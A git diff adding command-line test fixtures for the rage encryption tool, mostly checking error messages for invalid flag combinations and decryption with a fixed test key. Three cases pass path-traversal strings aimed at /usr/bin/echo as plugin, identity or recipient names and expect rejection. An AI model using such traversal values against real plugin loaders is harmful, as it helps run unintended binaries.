+stdout = """ +rage-mount 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml new file mode 100644 index 0000000..a101200 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt --armor" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -a/--armor can't be used with -d/--decrypt. +Note that armored files are detected automatically. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml new file mode 100644 index 0000000..105c114 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml @@ -0,0 +1,5 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt --output file.txt file.age.txt" +stdin = "" +stdout = "" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml new file mode 100644 index 0000000..b135308 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml @@ -0,0 +1,7 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +stdin = "AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml new file mode 100644 index 0000000..966eddc --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml new file mode 100644 index 0000000..d3350d2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "--decrypt --identity - file.age.txt" +status = "failed" +stdin = """ +AGE-PLUGIN-FOOBAR/../../../../../../../USR/BIN/ECHO-1HKGPY3 +""" +stdout = "" +stderr = """ +Error: identity file contains non-identity data on line 1 + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml new file mode 100644 index 0000000..968a8b2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -j foobar/../../../../../../../usr/bin/echo" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Could not find 'foobar/../../../../../../../usr/bin/echo' on the PATH. +Have you installed the plugin? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml new file mode 100644 index 0000000..0337af7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml @@ -0,0 +1,20 @@ +bin.name = "rage" +args = "--decrypt -i key.txt" +status = "failed" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: Identity file not found: key.txt + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml new file mode 100644 index 0000000..17ec1c2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml @@ -0,0 +1,21 @@ +bin.name = "rage" +args = "--decrypt" +status = "failed" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: Missing identities. +Did you forget to specify -i/--identity? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml new file mode 100644 index 0000000..88b27c9 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--decrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: failed to fill whole buffer + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml new file mode 100644 index 0000000..158d119 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Missing identities. +Did you forget to provide the identity over standard input? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml new file mode 100644 index 0000000..87a50b7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml @@ -0,0 +1,20 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt" +status = "failed" +# Passphrase: foobar +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IHNjcnlwdCBXWDZGUHRENjJxeGt5M1hU +cG83QjZnIDE5CkNDaXFUTnNNMzRaUzJwQzI1SnYxemg0dVdPY2hOTHJWWlhpT0ow +MXpqSFEKLS0tIFZpdUNKcGpiS3hoM0dqK0hrV2crN1FWTlgzMnI2WFQralQxMFRT +ZEE2STgKP9mM/XiDG/1ywkJwinSSQVzTCEt3v6BvjO9DyDg7l2uF60qdzXCY5qL/ +3jdrkFSp +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with passphrase-encrypted files. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml new file mode 100644 index 0000000..6049ac8 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt -j plugin-name" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with -j. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml new file mode 100644 index 0000000..a0bf506 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "-d -i - -i - file.age.txt" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml new file mode 100644 index 0000000..5f88b5c --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "--decrypt -i -" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml new file mode 100644 index 0000000..8b6c0b5 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt --passphrase" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -p/--passphrase can't be used with -d/--decrypt. +Note that passphrase-encrypted files are detected automatically. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml new file mode 100644 index 0000000..5242581 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -r foobar" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -r/--recipient can't be used with -d/--decrypt. +Did you mean to use -i/--identity to specify a private key? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml new file mode 100644 index 0000000..2964cd0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -R foobar.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -R/--recipients-file can't be used with -d/--decrypt. +Did you mean to use -i/--identity to specify a private key? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml new file mode 100644 index 0000000..1c08153 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml new file mode 100644 index 0000000..fee48f7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = "-d -i key.txt" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml new file mode 100644 index 0000000..5ecaa1a --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -i key.age.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Identity file 'key.age.txt' is encrypted with age but not with a passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml new file mode 100644 index 0000000..98c0559 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "-e -i - -a file.txt" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = """ +-----BEGIN AGE ENCRYPTED FILE----- +... +-----END AGE ENCRYPTED FILE----- +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml new file mode 100644 index 0000000..ce03d5e --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --recipient age1foobar/../../../../../../../usr/bin/echo1849l6e" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Invalid recipient 'age1foobar/../../../../../../../usr/bin/echo1849l6e'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml new file mode 100644 index 0000000..12e24c3 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --recipient foobar" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Invalid recipient 'foobar'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt new file mode 100644 index 0000000..323fae0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt @@ -0,0 +1 @@ +foobar diff --git 